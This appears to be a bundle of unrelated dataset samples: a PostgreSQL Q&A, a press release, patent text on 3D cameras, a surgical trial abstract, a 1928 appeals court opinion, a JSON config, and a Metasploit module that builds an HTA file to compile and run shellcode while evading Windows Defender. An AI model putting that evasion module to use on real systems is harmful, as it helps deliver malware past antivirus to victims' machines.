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tomekkorbak

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[ "Q:\n\nHow to add number of days in postgresql datetime\n\nI have a following table projects.", "\nid title created_at claim_window\n1 Project One 2012-05-08 13:50:09.924437 5\n2 Project Two 2012-06-01 13:50:09.924437 10\n\nA) I want to find the deadline with calculation deadline = created_at + claim_window(No. ", "of days).", "\nSomething like following.", "\nid title created_at claim_window deadline\n1 Project One 2012-05-08 13:50:09.924437 5 2012-05-13 13:50:09.924437\n2 Project Two 2012-06-01 13:50:09.924437 10 2012-06-11 13:50:09.924437\n\nB] I also want to find the projects whose deadline is gone \nid title created_at claim_window deadline\n1 Project One 2012-05-08 13:50:09.924437 5 2012-05-13 13:50:09.924437\n\nI try something like following.", "\nSELECT * FROM \"projects\" WHERE (DATE_PART('day', now()- created_at) >= (claim_window+1))\n\nBut for some reason it is not working.", "\n\nA:\n\nThis will give you the deadline :\nselect id, \n title,\n created_at + interval '1' day * claim_window as deadline\nfrom projects\n\nTo get all projects where the deadline is over, use:\nselect *\nfrom (\n select id, \n created_at + interval '1' day * claim_window as deadline\n from projects\n) t\nwhere localtimestamp at time zone 'UTC' > deadline\n\nA:\n\nFor me I had to put the whole interval in single quotes not just the value of the interval. ", "\nselect id, \n title,\n created_at + interval '1 day' * claim_window as deadline from projects \n\nInstead of\nselect id, \n title,\n created_at + interval '1' day * claim_window as deadline from projects \n\nPostgres Date/Time Functions\n\n" ]

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[ "Feb 26, 2004\n\nNot only is it a phone but it's also a camera. ", "So now I can take pics whenever I want and that is just the coolest. ", "What makes even cooler is that it's a flip-top phone and I have always wanted a flip-top phone. ", "I always thought it would be so cool to flip it open with just your thumb- it's more fun than you think~" ]

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[ "Press-Release\n\nNew insights on Mobile Learning In The Workplace by Towards Maturity in conjunction with Upside Learning released at Learning Technologies Summer Forum.", "\n\nJune 2014\n\nTowards Maturity's In-Focus report titled 'Mobile Learning In The Workplace', supported by Upside Learning, will be released on 17th June 2014, at the Learning Technologies Summer Forum event in London.", "\n\nThe report is based on extensive research derived from Towards Maturity's 2013 Benchmark Study and is the second in the series that explores changing patterns of use of mobile learning at work. ", "The report examines key findings based on the responses received from 481 organisations across 44 countries and sheds light on the trends & practices companies are employing to successfully incorporate mobile learning technologies within the workplace. ", "It looks at the benefits and challenges that companies and L&D departments need to consider in the successful adoption and use of mobile learning technologies. ", "Upside Learning has contributed to the report by sharing its experience and knowledge of mobile technology in the form of tips on how to kick-start mLearning, supported by a whitepaper and case studies of mLearning implementations from around the world.", "\n\nThe second in our study about Mobile Learning at work shows that expectations are high with over 8 out of 10 learning professionals looking to increase access to learning at the point of need. ", "It is critical that we start to learn how to harness the opportunities available and this report provides a foundation of independent evidence from top performing learning companies, plus practical hints and tips to support effective decision making moving forward.", "\n\n71% of L&D professionals across the private, public and not for profit sectors are actively exploring the use of mobile devices to support learning, either by providing laptops and tablets or supporting Bring Your Own Device.", "\n\nCompared to the benchmark sample as a whole, those including mobile learning in the mix are reporting an increase in improvements in productivity and reduction in time to competency.", "\n\nOne in four say they are still experimenting with mobile devices in learning\n\nCost is the top barrier to success (reported by over 70%, followed by IT security concerns).", "\n\nThe study goes on to explore the implementation approaches of the top performing learning organisations.", "\n\nCommenting on the release of the report, Amit Garg, Director & Co-founder of Upside Learning, said, “it is an absolute pleasure to be associated with Towards Maturity, a foremost benchmarking company who believe in improving the impact of learning technologies at work. ", "We at Upside Learning share similar views and as great believers in the mantra of 'Keep Learning', we love contributing and working for a cause we are passionate about by sharing our knowledge and experience with others. ", "As advocates of mobile learning, we firmly believe that mobile will play a critical role in the future of learning. ", "Working alongside Towards Maturity on the 'Mobile Learning In The Workplace' report seemed like a natural extension of our beliefs and involvement in all things mobile.”", "\n\nAttendees can meet and chat with Laura Overton and Amit Garg at Learning Technologies Summer Forum event on how organisations can use the report to steer and implement mLearning initiatives in their organisation. ", "The report will also be available to download on Upside Learning (http://www.upsidelearning.com/uk/) website following the event.", "\n\nAbout Towards Maturity\n\nTowards Maturity is a benchmarking company that provides independent expert advice and support to help organisation use learning technologies to accelerate business performance. ", "It leverages the data of its in-depth Benchmark Study, the UK’s largest learning technology benchmark, gathered by Towards Maturity over 9 years with over 1800 organisations." ]

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[ "I am not an advocate for infidelity. ", "Infidelity can cause permanent injury to a loving relationship (yes, a loving one). ", "It usually results in devastation, upheaval and deep trauma. ", "All members involved are victims of the affair – the betrayer, their affair partner(s), the betrayed and sometimes children. ", "Many of [...]" ]

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[ "Various types of cameras that image a scene to provide distances to features in the scene and thereby capture three dimensions for the features, and for the scene, are well known in the art. ", "Such cameras, often referred to as three-dimensional (3D) cameras include stereoscopic, triangulation, and time of flight, 3D cameras.", "\nGated, time of flight 3D cameras comprise a photosensitive surface, hereinafter referred to as a “photosurface” and a shutter for shuttering the camera open and closed. ", "Typically a photosurface comprises a photosensitive surface of a semiconductor device such as Charge Coupled Device (CCD) or a Complementary Metal-Oxide-Silicon (CMOS) light sensitive device, having light sensitive pixels formed on a suitable substrate. ", "A shutter used to shutter the camera open or closed may comprise, by way of example, a gated image intensifier, or a solid state electro-optical or acousto-optical modulator.", "\nShuttering a camera open or closed is also commonly referred to as “gating” a camera open or closed (hence the name “gated time of flight 3D camera”) and refers to respectively enabling or preventing registration by the camera's photosurface of light collected by the camera. ", "Gating a camera open or closed is also referred to herein as respectively gating open or gating closed its photosurface. ", "Terms “gating on” and “gating off” a camera or a camera's photosurface are also used herein and respectively mean gating open and gating closed the photosurface or camera. “", "Shuttering” or “gating” a photosurface or camera without modification by the adverb “open” or “closed” refers to an operation of gating on and/or gating off the photosurface or camera.", "\nA period of time during which a camera is gated open is an exposure period during which the camera's photosurface registers light that the camera collects and directs to the camera's photosurface. ", "A photosurface registers light by accumulating and storing charge, hereinafter “photocharge”, which the light generates in the photosurface's pixels. ", "The light generates photocharge by creating electron-hole pairs in the photosurface pixels. ", "Depending on a doping configuration of the photosurface, the accumulated and stored photocharge may be either electrons or holes from the electron-hole pairs.", "\nTo image a scene and determine distances from the camera to features in the scene, the scene can be illuminated, for example with a train of light pulses radiated from an appropriate light source. ", "Typically, the radiated light pulses are near infrared (NIR) light pulses. ", "The camera is gated open for an exposure period for each radiated light pulse in the train, following a predetermined delay from a time at which the light pulse is radiated. ", "For a feature imaged on a pixel in the photosurface, light reflected by the feature from each radiated light pulse is registered on a pixel imaging the feature if the reflected light reaches the camera during the exposure period following the light pulse.", "\nFollowing a last light pulse in the light pulse train, charges accumulated in the pixels of the photosurface during the exposure periods are sensed and converted to voltages. ", "The set of voltages representing the accumulated charges is referred to as a “frame” of the photosurface. ", "Since the time elapsed between radiating a light pulse and the exposure period that follows it is known, a time it took imaged light that is registered by the pixels to travel from the light source to the reflecting features and back to the camera is known. ", "Light registered by the pixels, the speed of light and the time elapsed is used to determine distances to features in the scene.", "\nIn some gated 3D cameras, only whether or not light is registered on a pixel of the 3D camera's photosurface, and the time elapsed between light pulses and exposure periods are used to determine distance from the 3D camera to a feature in the scene imaged on the pixel. ", "Because it is unknown when within an exposure period light reflected from a light pulse by the feature is registered by the gated 3D camera's photosurface, accuracy of distance to the feature is typically determined to no better than a distance equal to the speed of light times half a sum of the exposure period duration and light pulse width.", "\nIn other gated 3D cameras, an amount of light registered by the pixel during the exposure periods is also used to determine the distance to the feature. ", "The amount of registered light is used to indicate when during the exposure periods light from the feature is registered, and thereby to improve accuracy of distance measurements to the feature. ", "For a given and light pulse width and a given exposure period duration, accuracy of distance measurements provided by 3D gated cameras that use amounts of registered light, may be substantially improved relative to that provided by 3D gated cameras that do not use amounts of registered light. ", "Accuracy of distance measurements resulting from use of amounts of registered light may be less than about one tenth of a distance equal to the speed of light times half a sum of the pulse width and duration of the exposure period. ", "In gated 3D cameras in which an amount of light is used to determine distances to the imaged feature, the amount of light registered on the pixel is generally corrected for reflectivity of the feature, dark current and background light.", "\nAccuracy of measurements made with a gated 3D camera is a function of, among other variables, rise and fall times, jitter and pulse widths of the light pulses, and how fast the camera's shutter can gate the camera open and closed. ", "A shutter that is sufficiently fast to gate a photosurface of a 3D camera so that the camera provides distance measurements having a required accuracy is referred to as a fast shutter. ", "Typically a fast shutter that is used to shutter a gated 3D camera is separate from, and external to the camera's photosurface. ", "Such an external fast shutter, such as by way of example, a gated image intensifier noted above, may be capable of being switched between optically blocking and unblocking states in less than a nanosecond (ns) or a few nanoseconds.", "\nIt does not appear to be advantageous to gate a 3D gated camera by electronically turning on and turning off, hereinafter also referred to as “electronically shuttering”, the camera's photosurface. ", "Even relatively fast conventional, electronically shuttered interline CCDs have shuttering speeds that are generally in excess of about 100 nanoseconds. ", "In addition, a processing time equal to about a microsecond is typically required to acquire a frame of the CCD's pixels. ", "As a result of the processing time, the CCD cannot be electronically shuttered on and off at frequencies greater than or equal to about a megacycle. ", "Because of shuttering speeds in excess of about 100 nanoseconds and the limits on gating frequency, conventionally, electronically shuttered interline CCDs are generally too slow for use in a gated 3D camera to determine distances without an external, fast shutter.", "\nIt is noted that turning or shuttering on, and turning or shuttering off a photosurface refer respectively to initiating and ending an exposure period of the photosurface and not necessarily to initiating or terminating any other function and/or process of the photosurface. ", "For example, turning on and turning off a photosurface does not necessarily refer to initiating or terminating transfer of photocharge to a readout amplifier.", "\nTo illustrate constraints on shuttering speeds for 3D gated cameras, it is noted that light sources used to provide light pulses for a gated 3D camera may not provide sufficient energy in a single light pulse so that enough light is reflected by features in the scene from the light pulse and back to the camera to provide satisfactory distance measurements to the features. ", "As a result, as noted above, to acquire distance measurements, the scene is exposed to a train of many light pulses. ", "The camera is gated open and closed for each light pulse, and light from the light pulse is registered in pixels of the camera. ", "Intensity of the light pulses, and their number in the light pulse train, are determined so that an amount of reflected light registered from all the light pulses in the train is sufficient to provide acceptable distance measurements to features in the scene. ", "As many as a thousand light pulses might be required in a light pulse train so that an amount of reflected light that reaches the camera from the scene is sufficient to provide acceptable distance measurements. ", "To reduce imaging time, and or possible image blur, to an acceptable level, the light pulse repetition rate, and corresponding repetition rate of exposure periods, may advantageously be as high as at least 107 per second and consequently have a repetition period of about 100 ns or less. ", "Furthermore, light pulse widths and durations of exposure periods may be equal to about 30 ns or less. ", "Conventional electronic shuttering of CCDs is generally much too slow to provide these shuttering speeds and repetition rates." ]

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[ "Facebook has hidden a special new year easter egg in its website.", "\n\nThe site is letting people celebrate New Year's Eve by watching fairly dismal fireworks light up their news feed.", "\n\nOn New Year's Eve and New Year's Day, any time anyone writes the words \"Happy New Year\", they'll turn blue. ", "Whenever anyone clicks on those words, a little firework animation will play.​\n\nGadget and tech news: In pictures Show all 25 1 /25 Gadget and tech news: In pictures Gadget and tech news: In pictures Gun-toting humanoid robot sent into space Russia has launched a humanoid robot into space on a rocket bound for the International Space Station (ISS). ", "The robot Fedor will spend 10 days aboard the ISS practising skills such as using tools to fix issues onboard. ", "Russia's deputy prime minister Dmitry Rogozin has previously shared videos of Fedor handling and shooting guns at a firing range with deadly accuracy. ", "Dmitry Rogozin/Twitter Gadget and tech news: In pictures Google turns 21 Google celebrates its 21st birthday on September 27. ", "The The search engine was founded in September 1998 by two PhD students, Larry Page and Sergey Brin, in their dormitories at California’s Stanford University. ", "Page and Brin chose the name google as it recalled the mathematic term 'googol', meaning 10 raised to the power of 100 Google Gadget and tech news: In pictures Hexa drone lifts off Chief engineer of LIFT aircraft Balazs Kerulo demonstrates the company's \"Hexa\" personal drone craft in Lago Vista, Texas on June 3 2019 Reuters Gadget and tech news: In pictures Project Scarlett to succeed Xbox One Microsoft announced Project Scarlett, the successor to the Xbox One, at E3 2019. ", "The company said that the new console will be 4 times as powerful as the Xbox One and is slated for a release date of Christmas 2020 Getty Gadget and tech news: In pictures First new iPod in four years Apple has announced the new iPod Touch, the first new iPod in four years. ", "The device will have the option of adding more storage, up to 256GB Apple Gadget and tech news: In pictures Folding phone may flop Samsung will cancel orders of its Galaxy Fold phone at the end of May if the phone is not then ready for sale. ", "The $2000 folding phone has been found to break easily with review copies being recalled after backlash PA Gadget and tech news: In pictures Charging mat non-starter Apple has cancelled its AirPower wireless charging mat, which was slated as a way to charge numerous apple products at once AFP/Getty Gadget and tech news: In pictures \"Super league\" India shoots down satellite India has claimed status as part of a \"super league\" of nations after shooting down a live satellite in a test of new missile technology EPA Gadget and tech news: In pictures 5G incoming 5G wireless internet is expected to launch in 2019, with the potential to reach speeds of 50mb/s Getty Gadget and tech news: In pictures Uber halts driverless testing after death Uber has halted testing of driverless vehicles after a woman was killed by one of their cars in Tempe, Arizona. ", "March 19 2018 Getty Gadget and tech news: In pictures A humanoid robot gestures during a demo at a stall in the Indian Machine Tools Expo, IMTEX/Tooltech 2017 held in Bangalore Getty Gadget and tech news: In pictures A humanoid robot gestures during a demo at a stall in the Indian Machine Tools Expo, IMTEX/Tooltech 2017 held in Bangalore Getty Gadget and tech news: In pictures Engineers test a four-metre-tall humanoid manned robot dubbed Method-2 in a lab of the Hankook Mirae Technology in Gunpo, south of Seoul, South Korea Jung Yeon-Je/AFP/Getty Gadget and tech news: In pictures Engineers test a four-metre-tall humanoid manned robot dubbed Method-2 in a lab of the Hankook Mirae Technology in Gunpo, south of Seoul, South Korea Jung Yeon-Je/AFP/Getty Gadget and tech news: In pictures The giant human-like robot bears a striking resemblance to the military robots starring in the movie 'Avatar' and is claimed as a world first by its creators from a South Korean robotic company Jung Yeon-Je/AFP/Getty Gadget and tech news: In pictures Engineers test a four-metre-tall humanoid manned robot dubbed Method-2 in a lab of the Hankook Mirae Technology in Gunpo, south of Seoul, South Korea Jung Yeon-Je/AFP/Getty Gadget and tech news: In pictures Waseda University's saxophonist robot WAS-5, developed by professor Atsuo Takanishi Rex Gadget and tech news: In pictures Waseda University's saxophonist robot WAS-5, developed by professor Atsuo Takanishi and Kaptain Rock playing one string light saber guitar perform jam session Rex Gadget and tech news: In pictures A test line of a new energy suspension railway resembling the giant panda is seen in Chengdu, Sichuan Province, China Reuters Gadget and tech news: In pictures A test line of a new energy suspension railway, resembling a giant panda, is seen in Chengdu, Sichuan Province, China Reuters Gadget and tech news: In pictures A concept car by Trumpchi from GAC Group is shown at the International Automobile Exhibition in Guangzhou, China Rex Gadget and tech news: In pictures A Mirai fuel cell vehicle by Toyota is displayed at the International Automobile Exhibition in Guangzhou, China Reuters Gadget and tech news: In pictures A visitor tries a Nissan VR experience at the International Automobile Exhibition in Guangzhou, China Reuters Gadget and tech news: In pictures A man looks at an exhibit entitled 'Mimus' a giant industrial robot which has been reprogrammed to interact with humans during a photocall at the new Design Museum in South Kensington, London Getty Gadget and tech news: In pictures A new Israeli Da-Vinci unmanned aerial vehicle manufactured by Elbit Systems is displayed during the 4th International conference on Home Land Security and Cyber in the Israeli coastal city of Tel Aviv Getty\n\nThose words can be found in status updates, for instance. ", "They'll work whether you or anyone else wrote them in the first place, and on both the website and the mobile app.", "\n\nIt appears that there are other phrases that will begin similar animations, but it isn't yet clear what those are. ", "There are also other features to commemorate the new years, like special masks that you can put over your face if you go live to your friends.", "\n\nThe fireworks have already been criticised by tech blog Gizmodo as being \"the saddest way\" of commemorating the new year. ", "It said that the lack of sound and the relatively muted appearance of the fireworks made it feel \"melancholy\", and that it would probably just upset people who were alone on New Year's Eve more than they were already." ]

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[ "Open versus laparoscopic surgery for mid or low rectal cancer after neoadjuvant chemoradiotherapy (COREAN trial): short-term outcomes of an open-label randomised controlled trial.", "\nThe safety and short-term efficacy of laparoscopic surgery for rectal cancer after preoperative chemoradiotherapy has not been demonstrated. ", "The aim of the randomised Comparison of Open versus laparoscopic surgery for mid and low REctal cancer After Neoadjuvant chemoradiotherapy (COREAN) trial was to compare open surgery with laparoscopic surgery for mid or low rectal cancer after neoadjuvant chemoradiotherapy. ", "Between April 4, 2006, and Aug 26, 2009, patients with cT3N0-2 mid or low rectal cancer without distant metastasis after preoperative chemoradiotherapy were enrolled at three tertiary-referral hospitals. ", "Patients were randomised 1:1 to receive either open surgery (n=170) or laparoscopic surgery (n=170), stratified according to sex and preoperative chemotherapy regimen. ", "Short-term outcomes assessed were involvement of the circumferential resection margin, macroscopic quality of the total mesorectal excision specimen, number of harvested lymph nodes, recovery of bowel function, perioperative morbidity, postoperative pain, and quality of life. ", "Analyses were based on the intention-to-treat population. ", "Patients continue to be followed up for the primary outcome (3-year disease-free survival). ", "This study is registered with ClinicalTrials.gov, number NCT00470951. ", "Two patients (1.2%) in the laparoscopic group were converted to open surgery, but were included in the laparoscopic group for analyses. ", "Estimated blood loss was less in the laparoscopic group than in the open group (median 217.5 mL [150.0-400.0] in the open group vs 200.0 mL [100.0-300.0] in the laparoscopic group, p=0.006), although surgery time was longer in the laparoscopic group (mean 244.9 min [SD 75.4] vs 197.0 min [62.9], p<0.0001). ", "Involvement of the circumferential resection margin, macroscopic quality of the total mesorectal excision specimen, number of harvested lymph nodes, and perioperative morbidity did not differ between the two groups. ", "The laparoscopic surgery group showed earlier recovery of bowel function than the open surgery group (time to pass first flatus, median 38.5 h [23.0-53.0] vs 60.0 h [43.0-73.0], p<0.0001; time to resume a normal diet, 85.0 h [66.0-95.0] vs 93.0 h [86.0-121.0], p<0.0001; time to first defecation, 96.5 h [70.0-125.0] vs 123 h [94.0-156.0], p<0.0001). ", "The total amount of morphine used was less in the laparoscopic group than in the open group (median 107.2 mg [80.0-150.0] vs 156.9 mg [117.0-185.2], p<0.0001). ", "3 months after proctectomy or ileostomy takedown, the laparoscopic group showed better physical functioning score than the open group (0.501 [n=122] vs -4.970 [n=128], p=0.0073), less fatigue (-5.659 [n=122] vs 0.098 [n=129], p=0.0206), and fewer micturition (-2.583 [n=122] vs 4.725 [n=129], p=0.0002), gastrointestinal (-0.400 [n=122] vs 4.331 [n=129], p=0.0102), and defecation problems (0.535 [n=103] vs 5.327 [n=99], p=0.0184) in repeated measures analysis of covariance, adjusted for baseline values. ", "Laparoscopic surgery after preoperative chemoradiotherapy for mid or low rectal cancer is safe and has short-term benefits compared with open surgery; the quality of oncological resection was equivalent." ]

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[ "\n23 F.2d 235 (1928)\nVAN DAM\nv.\nUNITED STATES.", "\nNo. ", "4988.", "\nCircuit Court of Appeals, Sixth Circuit.", "\nJanuary 6, 1928.", "\n*236 *237 Joseph W. Sharts, of Dayton, Ohio, for plaintiff in error.", "\nHarry A. Abrams, Asst. ", "U. S. Atty., ", "of Cincinnati, Ohio (Haveth E. Mau, U. S. Atty., ", "of Cincinnati, Ohio, on the brief), for the United States.", "\nBefore DENISON, MOORMAN, and KNAPPEN, Circuit Judges.", "\nDENISON, Circuit Judge.", "\nThe plaintiff in error, Van Dam, hereafter called respondent, and Ellison and Shaffer, were, on April 14, 1927, arrested and brought before a commissioner for examination, upon the charge of transporting and selling intoxicating liquor. ", "While this examination was pending under adjournment, the grand jury indicted Van Dam and Ellison for conspiracy to violate the National Prohibition Act (27 USCA). ", "They were both convicted. ", "Van Dam brought this writ of error, in which Ellison did not join. ", "Counsel say — and it is apparently a proper inference — that Ellison preferred to and did serve out his sentence.", "\nVan Dam has numerous complaints. ", "They have been presented forcefully enough to have specific attention; but, as to most of them, brief mention will suffice.", "\n1. ", "The indictment was good. ", "Leonard v. U. S. (C. C. A. 6) 18 F.(2d) 208. ", "The only point not covered by the Leonard Case is the claim that the indictment is too broad, in that it charges conspiracy to transport, possess, and sell liquor in Montgomery county, Ohio, \"and divers other places.\" ", "This was, at the worst, surplusage. ", "There might well have been in fact a conspiracy to do these acts in Montgomery county and elsewhere, as events might determine, and the conspiracy still have been a single crime. ", "We see no reason to doubt that a trial under this indictment would serve its full purpose to prevent a second jeopardy for the same offense. ", "Rudner v. U. S. (C. C. A. 6) 281 F. 516.", "\n2. ", "The pendency of the preliminary examination before the commissioner for the substantive offense plainly presented no bar to an indictment for the conspiracy, even if the offenses had been the same. ", "Roth v. U. S. (C. C. A. 6) 294 F. 475. ", "Plaintiff argues that there is a constitutional right to preliminary examination before indictment, and cites U. S. v. Wetmore (D. C.) 218 F. 227, and U. S. v. Jenks (D. C.) 258 F. 763. ", "Both these cases recognize that the district attorney may \"send up\" an indictment, without leave of court, and that this makes unnecessary any preliminary examination.", "\n3. ", "Respondent claims that he was rushed into trial without opportunity to prepare his defense, upon an indictment which was very vague and general, and upon which he had been refused a bill of particulars, and that thus he was denied due process of law. ", "We do not doubt that a sufficiently extreme case in these respects would be a deprivation of due process, and that to enforce a trial two days after the arraignment would be in some cases beyond the discretion of the trial court; but the inquiry is not important in this case. ", "It is evident from the course of the trial that, if a bill of particulars had been given, it would have been confined to the overt acts alleged.", "\nAlthough the time after indictment was short, a month had expired since the arrest for the substantive offense, so that respondents had long understood the general nature of the charge. ", "Its formulation in a conspiracy indictment brought no surprise, since the conspiracy was inherent in the joint offense, which had been charged, as well as in the overt acts alleged. ", "The record does not show that any satisfactory reasons were presented to the court why more time was necessary to prepare, or why Van Dam would be prejudiced by proceeding with what turned out to be a trial only for the conspiracy inherent in the overt acts charged. ", "The motion for continuance was presented and denied on the 12th, when the case was called for trial; but, before any proof was taken, the case was, for some reason, adjourned three days. ", "When the trial was resumed, there was no intimation from respondent that the delay, as thus received, was not satisfactory, or that he needed more time.", "\n4. ", "Complaint is made because, the jury having been selected and sworn, and the respective statements of counsel made on Thursday, and the case adjourned until Monday, the court, upon reassembling on Monday, entered an order withdrawing a juror, making a mistrial, and proceeded to impanel a new jury composed of 11 of the old jurors and one new one. ", "It was directed that the opening statements of counsel should be repeated, if desired. ", "The reason stated by the court was that one of the jurors had become *238 ill during the recess and could not serve. ", "Respondent's counsel concede that a disabling illness of a juror would justify this procedure, but insist that there must be a judicial inquiry, at which the respondent could be heard, to determine the fact of such illness. ", "For the purposes of this opinion, this insistence might be conceded; but no such suggestion was made to the trial court. ", "The court announced the fact of this illness, as reported by the marshal. ", "Everybody seemed to take the fact for granted. ", "We must assume that, if it had been challenged or doubted, the court would have provided for the proper inquiry. ", "There was no error in omitting such an inquiry, when it was not asked.", "\n5. ", "Part of the evidence used on the trial was a quantity of whisky seized in a garage. ", "Counsel argue questions of the necessity of a search warrant and of participation by the federal officers in the seizure. ", "Perhaps there was the necessary effort to raise the question before trial. ", "All these matters are immaterial. ", "The garage was in the possession of Ellison as lessee; Van Dam was not shown to have anything to do with it; Ellison does not appeal; and clearly Van Dam cannot be heard upon that point. ", "Remus v. U. S. (C. C. A. 6) 291 F. 501, 511.", "\n6. ", "Then it is argued that the facts clearly show a case of entrapment. ", "They do not; the evidence, if there was any, indicating entrapment was, at the best, for the jury. ", "The charge of the court fairly presented the issue whether the officers had entrapped the respondent, or only detected him. ", "There is no exception to the charge, except the general one \"to every line, word, and paragraph of the charge,\" which is unavailing, and ought not to be made in a federal court.", "\n7. ", "It is claimed that there was no proof that the liquor was fit for beverage purposes. ", "It was shown to be whisky. ", "The allegation in the indictment that the whisky was fit for beverage purposes was surplusage, and need not be proved, for the reasons assumed by us in the Leonard Case, supra, at page 211, which reasons we now approve and adopt.", "\n8. ", "It is said that, because the indictment charged a conspiracy formed in 1925 and continuing until the date of the indictment, and because the proof failed to show any conspiracy earlier than some three months before the indictment, there was a variance by which respondent was misled in his preparation for trial. ", "In view of the overt acts charged, it is difficult to see any misleading. ", "The time alleged in the indictment is not ordinarily material, and there are no special reasons which make it so here.", "\n9. ", "We cannot consider the character and records of the witnesses for the government as supporting an inference that their testimony left a reasonable doubt of respondent's guilt. ", "That question was for the jury.", "\n10. ", "On the argument to the jury the credibility of the witness Shaffer was discussed. ", "The assistant district attorney said that Shaffer's testimony in the case was the same as the first statement he made to the district attorney, and the same as his testimony before the grand jury. ", "Objection was made, and the court said: \"The jury will not consider the statement with reference to what occurred in the grand jury.\" ", "The district attorney then made a statement, which respondent's counsel considered a repetition of the objectionable one. ", "Counsel then moved to dismiss the jury. ", "This motion was overruled. ", "To dismiss the jury was too drastic a remedy. ", "The court might well have repeated and emphasized his caution. ", "There was no error in denying this motion; and, in any event, considering the whole course of the trial, this incident was too trifling to justify reversal.", "\n11. ", "The court admitted evidence of three witnesses as to statements made by Ellison and Shaffer, immediately after their arrest, to the effect that they had been in the employ of Van Dam. ", "Objections were made, but were overruled. ", "This testimony should not have been admitted. ", "The reception of that hearsay evidence, which recites unsworn statements by one conspirator incriminating another person as a conspirator, is limited to those things which were said in the course of, or to promote the carrying out of, the conspiracy. ", "The agency of each for the other does not extend further. ", "Mere recitals and confessions of one who has been arrested, and which have no possible purpose or effect to promote the conspiracy in any way, cannot be received as against the absent alleged conspirator. ", "Logan v. U. S., 144 U. S. 263, 309, 12 S. Ct. ", "617, 36 L. Ed. ", "429. ", "If this were all, the error would require reversal; but the record shows that the subject was further discussed between court and counsel, and the court changed his mind and changed his ruling. ", "He announced that the testimony just given by the (third) witness then on the stand, as to what Ellison had said of Van Dam, must be stricken out. ", "He said that Ellison's statements were competent as to Ellison, \"but not competent to be used against Van Dam. ", "Members of the jury will take account of the ruling of the court. ", "In so far as that applies to the guilt or innocence of Van Dam, [it] is not before you. ", "You will not consider it in any way.\"", "\n*239 This announcement was not as broad as it should have been, because it did not expressly refer to nor strike out the other similar testimony. ", "We think it a fair inference from the record that the entire subject-matter had been in the mind of the court, and that he intended to strike out this class of testimony; that the matter had been argued in the presence of the jury, and that the jury would understand the ruling in its broad aspect. ", "Under those circumstances, it was the duty of counsel to call the attention of the court to the fact that the striking out was not in terms as broad as the court must have intended; and, lacking any suggestion of that kind, counsel cannot thereafter claim error. ", "The matter is analogous to the well-settled rule that, when it is evident the judge intends to comply generally with a requested charge, but omits some details, the omission must be called to his attention then and there. ", "Pennsylvania R. Co. v. Minds, 250 U. S. 368, 374, 39 S. Ct. ", "531, 63 L. Ed. ", "1039.", "\nFurther, the original error in the admission brought little, if any, prejudice. ", "Shaffer, as a witness on the trial, testified positively to the same facts which he was said to have stated after his arrest. ", "Ellison, as a witness, denied that he had ever made any such statements, and denied their truth.", "\nUpon the whole case, we are satisfied that, if there was any error, it was either not saved, or must be pronounced nonprejudicial, or both. ", "The jury saw and heard Shaffer and Ellison. ", "They believed Shaffer, and disbelieved Ellison. ", "Van Dam did not testify. ", "We have given respondent the benefit of many doubts, by assuming that complete objections and exceptions were made. ", "The record produces no such impression of possible serious injustice in the result as calls upon us to relax the strict rules applicable to such reviews.", "\nThe judgment is affirmed.", "\n" ]

{ "pile_set_name": "FreeLaw" }

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[ "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Evasion\n\n def initialize(info={})\n super(merge_info(info,\n 'Name' => 'Microsoft Windows Defender Evasive JS.Net and HTA',\n 'Description' => %q{\n This module will generate an HTA file that writes and compiles a JScript.", "NET file\n containing shellcode on the target machine. ", "After compilation, the generated EXE will\n execute the shellcode without interference from Windows Defender.", "\n\n It is recommended that you use a payload that uses RC4 or HTTPS for best experience.", "\n },\n 'Author' =>\n [\n 'sinmygit', # PoC\n 'Shelby Pace' # Metasploit Module\n ],\n 'License' => MSF_LICENSE,\n 'Platform' => 'win',\n 'Arch' => ARCH_X64,\n 'Targets' => [ [ 'Microsoft Windows', {} ] ]\n ))\n\n register_options([\n OptString.new(\n 'FILENAME',\n [\n true,\n 'Filename for the evasive file (default: random)',\n \"#{Rex::Text.rand_text_alpha(3..10)}.hta\"\n ])\n ])\n end\n\n def run\n # This is used in the ERB template\n file_payload = Rex::Text.encode_base64(payload.encoded)\n evasion_shellcode_path = File.join(Msf::Config.data_directory, 'exploits', 'evasion_shellcode.js')\n jsnet_code = File.read(evasion_shellcode_path)\n fail_with(Failure::NotFound, 'The JScript.", "NET file was not found.') ", "unless File.exists?(evasion_shellcode_path)\n js_file = ERB.new(jsnet_code).result(binding())\n jsnet_encoded = Rex::Text.encode_base64(js_file)\n # This is used in the ERB template\n fname = Rex::Text.rand_text_alpha(6)\n arch = [\"x86\", \"x64\"].include?(payload.arch.first) ? ", "payload.arch.first : \"anycpu\"\n hta_path = File.join(Msf::Config.data_directory, 'exploits', 'hta_evasion.hta')\n hta = File.read(hta_path)\n fail_with(Failure::NotFound, 'The HTA file was not found.') ", "unless File.exists?(hta_path)\n hta_file = ERB.new(hta).result(binding())\n file_create(hta_file)\n end\nend\n" ]

{ "pile_set_name": "Github" }

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[ "{\n \"Name\": \"ContosoShuttle\",\n \"Description\": \"Generated by Azure DevOps Demo Generator\",\n \"Teams\": \"Teams.json\",\n \"SourceCode\": \"ImportSourceCode.json\",\n \"CreateService\": \"CreateServiceEndPoint.json\",\n \"BoardColumns\": \"BoardColumns.json\",\n \"ProjectSettings\": \"ProjectSettings.json\",\n \"CardStyle\": \"UpdateCardStyles.json\",\n \"CardField\": \"UpdateCardFields.json\",\n \"PBIfromTemplate\": \"PBIfromTemplate.json\",\n \"BugfromTemplate\": \"BugfromTemplate.json\",\n \"EpicfromTemplate\": \"EpicfromTemplate.json\",\n \"TaskfromTemplate\": \"TaskfromTemplate.json\",\n \"TestCasefromTemplate\": \"TestCasefromTemplate.json\",\n \"FeaturefromTemplate\": \"FeaturefromTemplate.json\",\n \"UserStoriesFromTemplate\": \"\",\n \"SetEpic\": \"EnableEpic.json\",\n \"BoardRows\": \"\",\n \"Widget\": \"WidgetQuery.json\",\n \"Chart\": \"WidgetChart.json\",\n \"TeamArea\": \"TeamArea.json\"\n\n}" ]

{ "pile_set_name": "Github" }

